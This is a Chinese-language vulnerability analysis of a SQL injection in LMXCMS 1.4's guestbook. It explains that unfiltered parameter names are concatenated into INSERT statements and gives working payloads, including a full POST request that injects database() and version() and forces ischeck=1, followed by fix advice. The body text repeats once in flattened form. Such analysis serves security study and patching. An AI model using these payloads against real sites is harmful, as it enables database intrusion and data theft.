梦想cms二次注入漏洞分析
字数 960 2025-08-07 08:22:02

梦想CMS二次注入漏洞分析与利用

前言

本文详细分析梦想CMS(LMXCMS)1.4版本中存在的二次SQL注入漏洞。该漏洞允许攻击者通过留言板功能构造恶意SQL语句,最终导致数据库信息泄露。

二次注入简述

二次注入是SQL注入的一种特殊形式,攻击过程分为两个阶段:

  1. 存储阶段:攻击者构造恶意SQL语句,这些语句被插入并存储在数据库中
  2. 执行阶段:应用程序从数据库中取出存储的恶意数据并直接使用,导致SQL注入

CMS框架分析

梦想CMS的基本框架结构如下:

  1. 入口文件(index.php)

    • 定义常量
    • 包含配置文件(/inc/config.inc.php)
    • 包含核心运行文件(/inc/run.inc.php)
  2. 路由机制

    • 通过m参数(GET方式)指定控制器
    • 通过a参数(GET方式)指定方法
    • 如果指定方法不存在,则调用默认的index方法

漏洞分析

漏洞位于留言板功能模块(/index/BookAction.class.php)

漏洞位置

  1. 留言提交处理流程

    • setbook参数不为空时,调用checkData方法进行参数检测
    • 使用p()函数过滤参数值(防止SQL注入)
    • 调用add()addModel()addDB()方法将数据插入数据库
  2. 关键问题

    • 数据库插入操作中,字段名(键名)未经过滤直接拼接到SQL语句中
    • 过滤函数p()只对参数值($v)进行过滤,忽略了键名($key)

漏洞利用

  1. 构造恶意SQL
    通过控制参数名(键名)而非参数值来构造注入语句:

    name=1&mail=2&tel=3&content=4&setbook=1&time)values('1','4','2','3','5','6')#=1
    
  2. 绕过显示限制

    • 默认只显示ischeck=1的留言
    • 在注入时添加ischeck参数:
    time,ischeck)values(database(),version(),'2','3','5','6','1')#=1
    
  3. 获取数据库信息
    构造以下请求可获取数据库名和版本:

    POST /lmxcms1.4/index.php?m=Book&a=setBook HTTP/1.1
    Host: 127.0.0.1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    
    name=1&mail=2&tel=3&content=4&setbook=1&time,ischeck)values(database(),version(),'2','3','5','6','1')#=1
    

漏洞修复建议

  1. 对数据库操作中的所有输入(包括键名和键值)进行严格过滤
  2. 使用参数化查询或预处理语句
  3. 避免直接拼接SQL语句
  4. 对用户输入进行严格的类型检查

总结

该漏洞展示了二次注入的典型特征:

  • 攻击者首先将恶意数据存储到数据库
  • 应用程序后续从数据库取出这些数据并直接使用
  • 关键在于应用程序对数据存储和使用两个阶段的处理不一致

防御此类漏洞需要在整个数据处理流程中保持一致的过滤策略,并对所有用户可控输入保持警惕。

梦想CMS二次注入漏洞分析与利用 前言 本文详细分析梦想CMS(LMXCMS)1.4版本中存在的二次SQL注入漏洞。该漏洞允许攻击者通过留言板功能构造恶意SQL语句,最终导致数据库信息泄露。 二次注入简述 二次注入是SQL注入的一种特殊形式,攻击过程分为两个阶段: 存储阶段 :攻击者构造恶意SQL语句,这些语句被插入并存储在数据库中 执行阶段 :应用程序从数据库中取出存储的恶意数据并直接使用,导致SQL注入 CMS框架分析 梦想CMS的基本框架结构如下: 入口文件(index.php) : 定义常量 包含配置文件( /inc/config.inc.php ) 包含核心运行文件( /inc/run.inc.php ) 路由机制 : 通过 m 参数(GET方式)指定控制器 通过 a 参数(GET方式)指定方法 如果指定方法不存在,则调用默认的 index 方法 漏洞分析 漏洞位于留言板功能模块( /index/BookAction.class.php ) 漏洞位置 留言提交处理流程 : 当 setbook 参数不为空时,调用 checkData 方法进行参数检测 使用 p() 函数过滤参数值(防止SQL注入) 调用 add() → addModel() → addDB() 方法将数据插入数据库 关键问题 : 数据库插入操作中, 字段名(键名)未经过滤 直接拼接到SQL语句中 过滤函数 p() 只对参数值( $v )进行过滤,忽略了键名( $key ) 漏洞利用 构造恶意SQL : 通过控制参数名(键名)而非参数值来构造注入语句: 绕过显示限制 : 默认只显示 ischeck=1 的留言 在注入时添加 ischeck 参数: 获取数据库信息 : 构造以下请求可获取数据库名和版本: 漏洞修复建议 对数据库操作中的所有输入(包括键名和键值)进行严格过滤 使用参数化查询或预处理语句 避免直接拼接SQL语句 对用户输入进行严格的类型检查 总结 该漏洞展示了二次注入的典型特征: 攻击者首先将恶意数据存储到数据库 应用程序后续从数据库取出这些数据并直接使用 关键在于应用程序对数据存储和使用两个阶段的处理不一致 防御此类漏洞需要在整个数据处理流程中保持一致的过滤策略,并对所有用户可控输入保持警惕。